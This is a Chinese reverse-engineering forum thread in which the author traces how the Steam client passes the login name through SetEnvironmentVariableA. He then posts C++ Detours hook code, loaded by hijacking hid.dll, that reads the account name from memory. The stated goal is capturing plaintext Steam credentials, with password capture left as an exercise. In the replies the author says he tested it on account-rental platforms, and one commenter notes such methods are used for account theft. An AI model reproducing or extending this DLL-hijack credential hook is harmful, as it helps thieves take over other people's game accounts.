首页
社区
课程
招聘
[原创]关于steam的逆向
发表于: 2020-2-23 09:37 5838

[原创]关于steam的逆向

2020-2-23 09:37
5838

steam逆向

最近观察到租号平台的各种搞笑行为,以及steam的漏洞

在此之下我萌生了一个想法,就是通过api获取steam的登录明文密码

话不多说,由于比较简单,直接CE搞上就可以

首先猜想:点击登录按钮的时候,获取Edit当中的内容
然后利用两个变量储存账号密码,然后登录
我们先获取账号就可以了

然后CE搜索我们的账号,注意不要把UNICODE勾上


挨个排查,这时候大家应该明白了,找访问就OK了
这里就不给大家演示了,最后发现是0833394D这个地址
然后看看是谁改变了这个地址
最后我们找到
KERNELBASE.SetEnvironmentVariableA+84 - FF 15 F889A977        - call dword ptr [KERNELBASE.WakeConditionVariable+50F8] { ->ntdll.RtlSetEnvironmentVariable }
下断点发现是kernel32.SetEnvronmentVariableA调用了他,再次下断点
发现是这样的
steamclient.dll+2F4BCF - 56                    - push esi
steamclient.dll+2F4BD0 - 68 845DCA51           - push steamclient.dll+B75D84 { ("SteamUser") }
steamclient.dll+2F4BD5 - FF 15 10F3C051        - call dword ptr [steamclient.dll+ADF310] { ->KERNEL32.SetEnvironmentVariableA }
steamclient.dll+2F4BDB - 5E                    - pop esi
steamclient.dll+2F4BDC - 5D                    - pop ebp
steamclient.dll+2F4BDD - C2 0400               - ret 0004 { 4 }
我们看下 KERNEL32.SetEnvironmentVariableA这个函数

得出lpName是SteamUser,就是账号了,lpValue就是esi,看下esi就是 0833394D,储存的就是账号
得出了这些我们就可以写代码来证实下了
这里我们采用使用detours开源库来HOOK SetEnvironmentVariableA
因为使用的是detours,我们采用的是DLL劫持的方式(这个可以劫持的DLL我找了好久啊,最后在SysWow64的hid.dll是可以劫持的,大家劫持这个就可以)
#include "hook.h"

int pRead = 0;
static BOOL(WINAPI*pSetEnvironmentVariableA)(
	LPCSTR lpName,
	LPCSTR lpValue
	) = SetEnvironmentVariableA;
//test
void ShowBox()
{
	//使用指针读取
	char user[40], word[40];
	memcpy(user, ((void*)pRead), 40);
	MessageBoxA(NULL, user, NULL, MB_OK);
}

BOOL WINAPI Hook(LPCSTR lpName,
	LPCSTR lpValue)
{
	//读取指针
	__asm mov pRead, esi;
	BOOL bRet = pSetEnvironmentVariableA(lpName, lpValue);
	return bRet;
}

//HOOK
void HookON()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourAttach(&(PVOID&)pSetEnvironmentVariableA, &Hook);
	DetourTransactionCommit();
}

void HookOFF()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourDetach(&(PVOID&)pSetEnvironmentVariableA, &Hook);
	DetourTransactionCommit();
}
我们来测试下

上面打码的是密码奥,不是什么奇奇怪怪的东西,原因是获取密码就给大家当课后作业了,密码的获取要难一些
另外这是我第一次写文章,有问题大家见谅

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (15)
雪    币: 198
活跃值: (81)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
2
顶一下,有意见说一声
2020-2-23 09:39
0
雪    币: 2575
活跃值: (502)
能力值: ( LV2,RANK:85 )
在线值:
发帖
回帖
粉丝
3
CE这么强大!
2020-2-23 09:49
0
雪    币: 198
活跃值: (81)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
4
wyfe CE这么强大!
巧匠不怨工具差,因为太简单所以没上OD
2020-2-23 09:50
0
雪    币: 1641
活跃值: (3601)
能力值: (RANK:15 )
在线值:
发帖
回帖
粉丝
5
然而租号平台根本不走这一套
2020-2-23 12:24
0
雪    币: 1641
活跃值: (3601)
能力值: (RANK:15 )
在线值:
发帖
回帖
粉丝
6
反倒是,被很多人恶意用来盗号
2020-2-23 12:27
0
雪    币: 9934
活跃值: (2554)
能力值: ( LV6,RANK:87 )
在线值:
发帖
回帖
粉丝
7
看标题还以为是破解steam,直接分离游戏。。。
2020-2-23 12:47
0
雪    币: 2510
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
8
感谢分享
2020-2-23 12:53
1
雪    币: 14543
活跃值: (17558)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
9
我记得steam盗号好像还要盗取一个令牌的吧。。。
2020-2-23 13:04
0
雪    币: 144
活跃值: (335)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
你可以去找个租号平台试下
最后于 2020-2-23 13:39 被人在塔在编辑 ,原因:
2020-2-23 13:39
0
雪    币: 1103
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
11
感谢楼主分享
2020-2-23 14:34
1
雪    币: 198
活跃值: (81)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
12
刘铠文 然而租号平台根本不走这一套
走的,可以获取账号密码
2020-2-23 18:55
0
雪    币: 198
活跃值: (81)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
13
人在塔在 你可以去找个租号平台试下
已经试了,确实可用,只是源码还可以优化
2020-2-23 18:55
0
雪    币: 198
活跃值: (81)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
14
最近要吃土了,有没有看上的来拿走吧
2020-2-23 19:04
0
雪    币: 144
活跃值: (335)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
不是吧。。很早很早租号玩之类的就不走这里了
2020-2-23 20:03
0
雪    币: 1641
活跃值: (3601)
能力值: (RANK:15 )
在线值:
发帖
回帖
粉丝
16
你说的租号我不知道是哪个,但是我认识的几个比较知名的都不走
2020-2-23 22:03
0
游客
登录 | 注册 方可回帖
返回
//